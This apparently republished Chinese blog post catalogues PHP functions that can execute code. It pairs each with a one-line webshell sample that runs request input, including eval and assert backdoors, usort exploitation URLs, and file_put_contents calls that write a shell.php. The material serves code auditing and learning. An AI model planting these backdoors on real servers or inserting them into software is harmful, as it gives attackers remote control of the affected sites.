统计php代码执行情况,PHP代码执行函数总结

ゞ浴缸里的玫瑰 2023-01-17 11:00 238阅读 0赞

PHP中可以执行代码的函数，常用于编写一句话木马，可能导致代码执行漏洞，这里对代码执行函数做一些归纳。

常见代码执行函数，如

eval()、assert()、preg\_replace()、create\_function()

array\_map()、call\_user\_func()、call\_user\_func\_array()，array\_filter，usort，uasort()

文件操作函数、动态函数($a($b))

1、eval()

eval() 函数把字符串按照 PHP 代码来计算，如常见的一句话后门程序：<?php eval($\_POST\[cmd\])?>

2、assert()

与eval类似，字符串被 assert() 当做 PHP 代码来执行，如：

示例代码：

assert($\_REQUEST\[cmd\]);?>

3、preg\_replace()

mixed preg\_replace ( mixed $pattern , mixed $replacement , mixed $subject \[, int $limit = -1 \[, int &$count \]\] )

搜索subject中匹配pattern的部分， 以replacement进行替换。

preg\_replace()函数原本是执行一个正则表达式的搜索和替换，但因为存在危险的/e修饰符，使 preg\_replace() 将 replacement 参数当作 PHP 代码

示例代码：

@preg\_replace("/abc/e",$\_REQUEST\['cmd'\],"abcd");?>

4、create\_function()

create\_function主要用来创建匿名函数，如果没有严格对参数传递进行过滤，攻击者可以构造特殊字符串传递给create\_function()执行任意命令。

代码示例：

$func =create\_function('',$\_REQUEST\['cmd'\]);

$func();?>

参考链接：

代码安全：PHP create\_function()注入命令执行漏洞

http://www.cnseay.com/1901/

http://lovexm.blog.51cto.com/3567383/1743442

http://qqhack8.blog.163.com/blog/static/11414798520153795157139/

5、array\_map()

array\_map() 函数将用户自定义函数作用到数组中的每个值上，并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array\_map() 函数的数组数目一致。

代码示例：

$func=$\_GET\['func'\];

$cmd=$\_GET\['cmd'\];

$array\[0\]=$cmd;

$new\_array=array\_map($func,$array);//print\_r($new\_array);

?>

6、call\_user\_func()/call\_user\_func\_array ()

call\_user\_func — 把第一个参数作为回调函数调用,其余参数是回调函数的参数。

call\_user\_func\_array — 调用回调函数，并把一个数组参数作为回调函数的参数

@call\_user\_func(assert,$\_GET\['cmd'\]);?>

$cmd=$\_GET\['cmd'\];$array\[0\]=$cmd;call\_user\_func\_array("assert",$array);?>

7、array\_filter()

array array\_filter ( array $array \[, callable $callback \[, int $flag = 0 \]\] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true，则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。

$cmd=$\_GET\['cmd'\];$array1=array($cmd);$func =$\_GET\['func'\];array\_filter($array1,$func);?>

8、usort()、uasort()

usort() 通过用户自定义的比较函数对数组进行排序。

uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。

代码示例：

php环境>=5.6才能用<?php usort(...$\_GET);?>利用方式：

test.php?1\[\]=1-1&1\[\]=eval($\_POST\['x'\])&2=assert

\[POST\]:x=phpinfo();

php环境>=<5.6才能用<?php usort($\_GET,'asse'.'rt');?>利用方式：

test.php?1=1+1&2=eval($\_POST\[x\])

\[POST\]:x=phpinfo();

源自：https://www.wd0g.com/?p=190

https://www.leavesongs.com/PHP/bypass-eval-length-restrict.html

9、文件操作函数

file\_put\_contents() 函数把一个字符串写入文件中。

fputs() 函数写入文件

代码示例：

<?php $test='<?php eval($\_POST\[cmd\]);?>';file\_put\_contents('test1.php',$test);?>

<?phpfputs (fopen('shell.php','w'),'<?php eval($\_POST\[cmd\])?>');?>

10、动态函数

PHP函数直接由字符串拼接

代码示例：

$\_GET\['a'\]($\_GET\['b'\]);?>

最后

欢迎关注个人微信公众号：Bypass--，每周原创一篇技术干货。

发表评论取消回复

表情：

评论列表（有 0 条评论，238人围观）

还没有评论，来说两句吧...

相关阅读

相关 php记录代码执行时间

来源:http://www.cnblogs.com/eczhou/archive/2012/08/16/2642167.html $t1 = microtime(tr

╰半橙微兮°/ 2023年10月17日 09:09/ 0 赞/ 139 阅读

相关统计php代码执行情况,PHP代码执行函数总结

PHP中可以执行代码的函数，常用于编写一句话木马，可能导致代码执行漏洞，这里对代码执行函数做一些归纳。常见代码执行函数，如 eval()、assert()、preg\_r

ゞ浴缸里的玫瑰/ 2023年01月17日 11:00/ 0 赞/ 239 阅读

相关 php 执行程序代码,php 异步执行脚本程序代码

这里说的异步执行是让php脚本在后台挂起一个执行具体操作的脚本，主脚本退出后，挂起的脚本还能继续执行。比如执行某些耗时操作或可以并行执行的操作，可以采用php异步执行的方式。主

痛定思痛。/ 2022年11月18日 04:41/ 0 赞/ 260 阅读

相关命令行怎么执行php程序,如何从命令行执行PHP代码？

如果你打算在命令行中做PHP，我建议你安装 phpsh, a decent PHP shell.这是一个更多的乐趣。无论如何，php命令提供两个开关从命令行执行代码：

水深无声/ 2022年11月12日 10:54/ 0 赞/ 253 阅读

相关 smarty 执行php代码调用php函数违背smarty但不失灵活

\{php\} echo "alert('here is php method run ~!');"; \{/php\} 因为应用需要，要在Smarty中调用PHP函数，

朱雀/ 2022年07月12日 11:08/ 0 赞/ 177 阅读

相关 PHP记录代码执行时间

$t1 = microtime ( true ); // ... 执行代码 ... $t2 = microtime ( true ); echo

今天药忘吃喽~/ 2022年07月11日 16:13/ 0 赞/ 233 阅读

相关 PHP代码的执行原理

PHP有一种专门来解释PHP语言的工具，叫做zend引擎（zend公司开发） ![这里写图片描述][70] 当PHP代码是嵌入到html代码中的时候的工作原理 ![这里写

左手的ㄟ右手/ 2022年05月25日 03:18/ 0 赞/ 180 阅读

相关 php 统计代码

<?php / Created by PhpStorm. User: Administrator Date: 2018/8/

缺乏、安全感/ 2022年05月16日 02:38/ 0 赞/ 219 阅读

相关 php 跟踪代码的执行,8.5.2　使用Xdebug跟踪代码执行

8.5.2　使用Xdebug跟踪代码执行 Xdebug的很多功能是以附加的调试语句的形式出现的，可以使用这些语句获得关于应用程序的附加信息。例如，可以查找到当前场景调用的类、

分手后的思念是犯贱/ 2021年09月07日 10:26/ 0 赞/ 314 阅读

相关 php 执行系统命令函数

目录命令注入 system()函数 passthru()函数 exec() shell\_exec()函数反引号 \` popen()函数 pcntl\_

电玩女神/ 2021年08月30日 16:07/ 0 赞/ 504 阅读